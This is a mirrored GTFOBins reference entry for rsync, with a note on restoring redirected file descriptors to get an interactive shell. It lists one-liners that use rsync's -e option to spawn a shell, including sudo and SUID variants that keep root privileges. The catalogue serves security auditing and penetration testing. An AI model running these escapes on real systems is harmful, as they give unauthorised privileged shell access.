GTFOBins.github.io/rsync.md at ad1f052edb943183e4e4e609260f6c4e887bc42d

public-mirrors/GTFOBins.github.io

mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-26 06:49:44 +01:00

Andrea Cardaci 8eaf595fe6 Make interactive execute whenever possible

Here the trick is to restore those file descriptors (0, 1, 2) that have been
redirected (`dup2`) by the parent process.

First we need to determine which one has been redirected, for example by looking
at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0,
1 or 2 respectively, where `x` is any file descriptor number that points to the
TTY.

It may happen that no file descriptor is unchanged, in that case we can use
`tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)

2018-09-07 01:11:06 +02:00

276 B

Raw Blame History

functions

execute-interactive

sudo-enabled

suid-enabled

code
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

code
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

code
./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

276 B Raw Blame History

276 B

Raw Blame History